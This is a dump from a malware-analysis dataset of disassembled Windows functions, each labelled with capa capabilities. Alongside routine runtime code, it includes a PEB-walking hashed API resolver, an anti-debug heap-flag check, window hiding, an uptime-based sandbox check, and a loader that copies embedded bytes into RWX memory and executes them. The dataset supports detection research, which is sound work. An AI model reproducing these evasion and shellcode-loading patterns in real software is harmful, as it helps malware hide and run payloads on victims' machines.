joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002280
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword fs:[0x30]
push ebx
mov dword [ebp - 0x20], edx
xor ebx, ebx
push esi
mov eax, dword [eax + 0xc]
push edi
mov dword [ebp - 0x10], ecx
mov eax, dword [eax + 0x14]
mov dword [ebp - 4], eax
mov edx, dword [eax + 4]
mov dword [ebp - 0xc], edx
cmp eax, edx
je 0x1000231e
nop word [eax + eax]
cmp word [eax + 0x24], 0x30
ja 0x10002313
mov esi, dword [eax + 0x28]
xor edi, edi
movzx ecx, word [esi]
mov dword [ebp - 8], ecx
test cx, cx
je 0x10002300
mov eax, ecx
nop dword [eax]
lea ecx, [eax + 0x20]
lea ebx, [eax - 0x41]
movzx edx, cl
movzx ecx, al
lea esi, [esi + 2]
cmp bl, 0x19
cmova edx, ecx
movzx ecx, word [esi]
imul edi, edi, 0xc85e31
mov al, cl
movsx edx, dl
add edi, edx
test cx, cx
jne 0x100022d0
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
cmp edi, dword [ebp - 0x10]
je 0x100023c6
cmp dword [eax + 0x10], 0
je 0x100023b4
mov eax, dword [eax]
mov dword [ebp - 4], eax
cmp eax, edx
jne 0x100022b0
xor ebx, ebx
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
test ebx, ebx
je 0x100023bd
mov eax, dword [ebx + 0x3c]
xor edi, edi
mov ecx, dword [eax + ebx + 0x78]
mov edx, dword [eax + ebx + 0x50]
add ecx, ebx
mov eax, dword [eax + ebx + 0x7c]
add edx, ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], edx
mov esi, dword [ecx + 0x20]
mov eax, dword [ecx + 0x14]
add esi, ebx
mov dword [ebp - 0x10], esi
mov esi, dword [ecx + 0x24]
add esi, ebx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x1c]
add esi, ebx
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], esi
xor esi, esi
test eax, eax
je 0x100023e0
nop dword [eax]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + esi*4]
add ecx, ebx
lea eax, [ecx + 0xdc]
cmp edx, eax
jbe 0x100023ac
mov al, byte [ecx]
xor edx, edx
test al, al
je 0x100023a4
nop word [eax + eax]
imul edx, edx, 0xc85e31
lea ecx, [ecx + 1]
movsx eax, al
add edx, eax
mov al, byte [ecx]
test al, al
jne 0x10002390
cmp edx, dword [ebp + 8]
je 0x100023ce
mov edx, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 8]
jb 0x10002370
jmp 0x100023dd
mov eax, dword [ebp + 0xc]
mov dword [eax], 0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [eax + 0x10]
jmp 0x1000231e
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
movzx eax, word [eax + esi*2]
mov edi, dword [edi + eax*4]
add edi, ebx
mov ecx, dword [ebp - 4]
cmp edi, ecx
jb 0x100023ff
mov eax, dword [ebp - 0x1c]
add eax, ecx
cmp edi, eax
jae 0x100023ff
mov eax, dword [ebp + 0x14]
pop edi
pop esi
pop ebx
mov dword [eax], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0x14]
mov dword [eax], edi
test edi, edi
je 0x100023bd
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x20]
push edi
mov ecx, dword [eax]
call fcn.100021f0
mov ecx, dword [ebp + 0x10]
add esp, 4
mov edx, eax
xor eax, eax
test edx, edx
pop edi
pop esi
mov dword [ecx], edx
setne al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000afac
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000b049
push ebx
push esi
call fcn.1000af75
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000aebe
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000aff6
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000b048
push edi
push eax
call fcn.10009973
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000b016
call fcn.100099c1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000b047
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000aebe
add esp, 0x20
test eax, eax
jne 0x1000b035
push edi
call fcn.100099c1
jmp 0x1000b03d
push ebx
call fcn.100099c1
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000b2b4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100129d0
push 0x100129c8
push str.FlsAlloc
push 0x1e
call fcn.1000b1d2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000b2e8
push dword [ebp + 8]
mov ecx, esi
call dword [0x10011144]
call esi
jmp 0x1000b2ee
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000b332
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100129e0
push 0x100129d8
push str.FlsGetValue
push 0x20
call fcn.1000b1d2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000b369
push dword [ebp + 8]
mov ecx, esi
call dword [0x10011144]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x10010890
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100108bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100108bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [0x4b1070]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
mov eax, dword fs:[0x18]
mov eax, dword ds:[eax + 0x30]
mov eax, dword ds:[eax + 0x64]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 8]
setl al
and al, 1
movzx eax, al
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403bb0
mov eax, dword [ebp - 0x10]
add esp, 0x10
pop ebp
ret
Function at 0x401610
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x198
mov eax, dword [ebp + 8]
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x401c30
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
mov dword [ebp - 0x24], 0
mov eax, esp
mov dword [eax], 0x104
call fcn.0044e4d0
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, esp
mov dword [eax + 4], ecx
mov dword [eax + 8], 0x104
mov dword [eax], str.TEMP
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x2c]
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x198], ecx
call fcn.00401e50
sub esp, 4
mov ecx, dword [ebp - 0x198]
mov dword [ebp - 0x10], 0
mov eax, esp
mov dword [eax], 0x4909fb
call fcn.00401f80
sub esp, 4
jmp 0x4016b8
lea ecx, [ebp - 0x48]
call fcn.00401fb0
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x18c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
sub esp, 8
mov dword [ebp - 0x190], eax
mov eax, 0xffffffff
cmp dword [ebp - 0x190], eax
je 0x401738
jmp 0x4016f8
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x190]
lea eax, [ebp - 0x18c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
sub esp, 8
cmp eax, 0
jne 0x4016f8
mov eax, dword [ebp - 0x190]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 4
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp + 8]
jge 0x40175a
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x194], 1
jmp 0x40176b
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x194], 1
lea ecx, [ebp - 0x48]
call fcn.00401fd0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
add esp, 0x198
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x401ae0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401b12
mov eax, dword [ebp - 4]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
sub esp, 8
add esp, 0xc
pop ebp
ret
Function at 0x401b20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b4
mov eax, dword [0x4b1070]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x998], 0
call fcn.00401ae0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x99c], eax
cmp dword [ebp - 0x99c], 0x927c0
jb 0x401b63
jmp 0x401b6f
mov dword [esp], 1
call fcn.0043fab0
nop
nop
nop
nop
nop
call fcn.00401910
lea ecx, [ebp - 0x991]
lea eax, section..rdata
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x98d
call fcn.0040ab40
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 0x98d
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x9a0], eax
mov ecx, dword [ebp - 0x9a0]
lea eax, [ebp - 0x991]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x98d
call fcn.0040ab40
call dword [ebp - 0x9a0]
xor eax, eax
mov dword [ebp - 0x9a4], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403bb0
mov eax, dword [ebp - 0x9a4]
add esp, 0x9b4
pop ebp
ret
Function at 0x461920
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.00462c40
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x461954
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [section..00cfg]
call dword [ebp - 8]
jmp 0x46195a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov esp, ebp
pop ebp
ret 4

Function at 0x4619b0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.00462c80
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4619e4
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [section..00cfg]
call dword [ebp - 8]
jmp 0x4619ee
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret 4

Function at 0x461a00
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.00462ca0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x461a38
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
call dword [section..00cfg]
call dword [ebp - 8]
jmp 0x461a46
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov esp, ebp
pop ebp
ret 8

Function at 0x461b60
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.00462960
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x461ba0
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [section..00cfg]
call dword [ebp - 8]
jmp 0x461bbe
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.00461ed0
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x472d70
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push eax
lea ecx, [ebp - 4]
call fcn.00473050
lea ecx, [ebp - 4]
call fcn.004730f0
movzx eax, al
test eax, eax
jne 0x472dad
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 4]
call fcn.00473070
mov eax, dword [ebp - 0x18]
jmp 0x472ed5
lea ecx, [ebp - 4]
call fcn.00473090
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00473010
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x10]
sar edx, 1
mov dword [ebp - 0x14], edx
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
call fcn.00473090
push eax
push 0
push 0
call fcn.00472bb0
add esp, 0x20
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x472e13
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 4]
call fcn.00473070
mov eax, dword [ebp - 0x20]
jmp 0x472ed5
push 0x66
push str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
push 2
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004474e0
add esp, 0x10
push eax
lea ecx, [ebp - 8]
call fcn.0040a520
lea ecx, [ebp - 8]
call fcn.0040a5c0
movzx edx, al
test edx, edx
jne 0x472e5c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 8]
call fcn.0040a540
lea ecx, [ebp - 4]
call fcn.00473070
mov eax, dword [ebp - 0x24]
jmp 0x472ed5
lea ecx, [ebp - 8]
call fcn.0040a5e0
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 4]
call fcn.00473090
mov dword [ebp - 0x2c], eax
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x2c]
push eax
push 0
push 0
call fcn.00472bb0
add esp, 0x20
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x472eb7
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 8]
call fcn.0040a540
lea ecx, [ebp - 4]
call fcn.00473070
mov eax, dword [ebp - 0x34]
jmp 0x472ed5
lea ecx, [ebp - 8]
call fcn.00449d20
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 8]
call fcn.0040a540
lea ecx, [ebp - 4]
call fcn.00473070
mov eax, dword [ebp - 0x38]
mov esp, ebp
pop ebp
ret
Function at 0x472ee0
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x28
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push eax
lea ecx, [ebp - 4]
call fcn.00473050
lea ecx, [ebp - 4]
call fcn.00473120
movzx eax, al
test eax, eax
jne 0x472f1d
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 4]
call fcn.00473070
mov eax, dword [ebp - 0x14]
jmp 0x472fd7
lea ecx, [ebp - 4]
call fcn.00473090
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00473010
add esp, 4
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0xc]
sar edx, 1
mov dword [ebp - 0x10], edx
push 0x40
push str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
push 2
mov eax, dword [ebp - 0x10]
shl eax, 1
push eax
call fcn.004474e0
add esp, 0x10
push eax
lea ecx, [ebp - 8]
call fcn.00449f40
lea ecx, [ebp - 8]
call fcn.0044a010
movzx ecx, al
test ecx, ecx
jne 0x472f8d
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 8]
call fcn.00449f60
lea ecx, [ebp - 4]
call fcn.00473070
mov eax, dword [ebp - 0x1c]
jmp 0x472fd7
lea ecx, [ebp - 4]
call fcn.00473090
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 8]
call fcn.0044a030
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x10]
shl edx, 1
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.0040ab40
add esp, 0xc
lea ecx, [ebp - 8]
call fcn.00449f80
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 8]
call fcn.00449f60
lea ecx, [ebp - 4]
call fcn.00473070
mov eax, dword [ebp - 0x28]
mov esp, ebp
pop ebp
ret

Function at 0x475960
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.00475d90
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x475992
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [section..00cfg]
call dword [ebp - 8]
jmp 0x47599c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret
Function at 0x481b10
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x4c
lea ecx, [ebp - 0x4c]
call fcn.0046f9b0
lea ecx, [ebp - 0x34]
call fcn.0046f9b0
call fcn.004602f0
push eax
lea eax, [ebp - 0x4c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0046fbc0
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x481b63
mov dword [ebp - 8], 0
lea ecx, [ebp - 0x34]
call fcn.0046fa00
lea ecx, [ebp - 0x4c]
call fcn.0046fa00
mov eax, dword [ebp - 8]
jmp 0x481bd8
call fcn.004602f0
push eax
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.0046fbc0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x481b9e
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 0x34]
call fcn.0046fa00
lea ecx, [ebp - 0x4c]
call fcn.0046fa00
mov eax, dword [ebp - 0x10]
jmp 0x481bd8
lea ecx, [ebp - 0x34]
call fcn.0046fa50
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x4c]
call fcn.0046fa50
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x34]
call fcn.0046fa00
lea ecx, [ebp - 0x4c]
call fcn.0046fa00
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x484140
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.00408250
mov eax, dword [0x4b1070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x4b2cf8]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x1420], ecx
mov edx, dword [ebp - 0x1420]
cmp edx, dword [ebp - 0x1424]
jae 0x484318
lea eax, [ebp - 5]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1418], ecx
mov edx, dword [ebp - 0x1418]
cmp edx, dword [ebp - 0x1430]
jae 0x484267
mov eax, dword [ebp - 0x1420]
cmp eax, dword [ebp - 0x1424]
jae 0x484267
mov ecx, dword [ebp - 0x1420]
mov dl, byte [ecx]
mov byte [ebp - 0x1419], dl
mov eax, dword [ebp - 0x1420]
add eax, 1
mov dword [ebp - 0x1420], eax
mov cl, byte [ebp - 0x1419]
mov byte [ebp - 0x1411], cl
movsx edx, byte [ebp - 0x1411]
cmp edx, 0xa
jne 0x484245
mov eax, dword [ebp - 0x1408]
add eax, 1
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp - 0x1418]
mov byte [ecx], 0xd
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
mov eax, dword [ebp - 0x1418]
mov cl, byte [ebp - 0x1411]
mov byte [eax], cl
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
jmp 0x4841c9
mov eax, dword [ebp - 0x1418]
lea ecx, [ebp - 0x1404]
sub eax, ecx
mov dword [ebp - 0x142c], eax
push 0
lea edx, [ebp - 0x1428]
push edx
mov eax, dword [ebp - 0x142c]
push eax
lea ecx, [ebp - 0x1404]
push ecx
mov edx, dword [ebp - 0x1434]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4842d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
jmp 0x484338
mov edx, dword [ebp - 0x140c]
add edx, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], edx
mov eax, dword [ebp - 0x1428]
cmp eax, dword [ebp - 0x142c]
jae 0x484313
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x484338
jmp 0x4841a2
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403bb0
mov esp, ebp
pop ebp
ret
Function at 0x484350
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.00408250
mov eax, dword [0x4b1070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x4b2cf8]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x141c], ecx
mov edx, dword [ebp - 0x141c]
cmp edx, dword [ebp - 0x1424]
jae 0x48453b
lea eax, [ebp - 6]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1414], ecx
mov edx, dword [ebp - 0x1414]
cmp edx, dword [ebp - 0x1430]
jae 0x484486
mov eax, dword [ebp - 0x141c]
cmp eax, dword [ebp - 0x1424]
jae 0x484486
mov ecx, dword [ebp - 0x141c]
mov dx, word [ecx]
mov word [ebp - 0x141e], dx
mov eax, dword [ebp - 0x141c]
add eax, 2
mov dword [ebp - 0x141c], eax
mov cx, word [ebp - 0x141e]
mov word [ebp - 0x1418], cx
movzx edx, word [ebp - 0x1418]
cmp edx, 0xa
jne 0x484462
mov eax, dword [ebp - 0x1408]
add eax, 2
mov dword [ebp - 0x1408], eax
mov ecx, 0xd
mov edx, dword [ebp - 0x1414]
mov word [edx], cx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
mov ecx, dword [ebp - 0x1414]
mov dx, word [ebp - 0x1418]
mov word [ecx], dx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
jmp 0x4843d9
mov ecx, dword [ebp - 0x1414]
lea edx, [ebp - 0x1404]
sub ecx, edx
sar ecx, 1
shl ecx, 1
mov dword [ebp - 0x142c], ecx
push 0
lea eax, [ebp - 0x1428]
push eax
mov ecx, dword [ebp - 0x142c]
push ecx
lea edx, [ebp - 0x1404]
push edx
mov eax, dword [ebp - 0x1434]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4844f4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x48455b
mov eax, dword [ebp - 0x140c]
add eax, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], eax
mov ecx, dword [ebp - 0x1428]
cmp ecx, dword [ebp - 0x142c]
jae 0x484536
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x1410]
mov dword [edx], eax
mov ecx, dword [ebp - 0x140c]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x1408]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
jmp 0x48455b
jmp 0x4843b2
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403bb0
mov esp, ebp
pop ebp
ret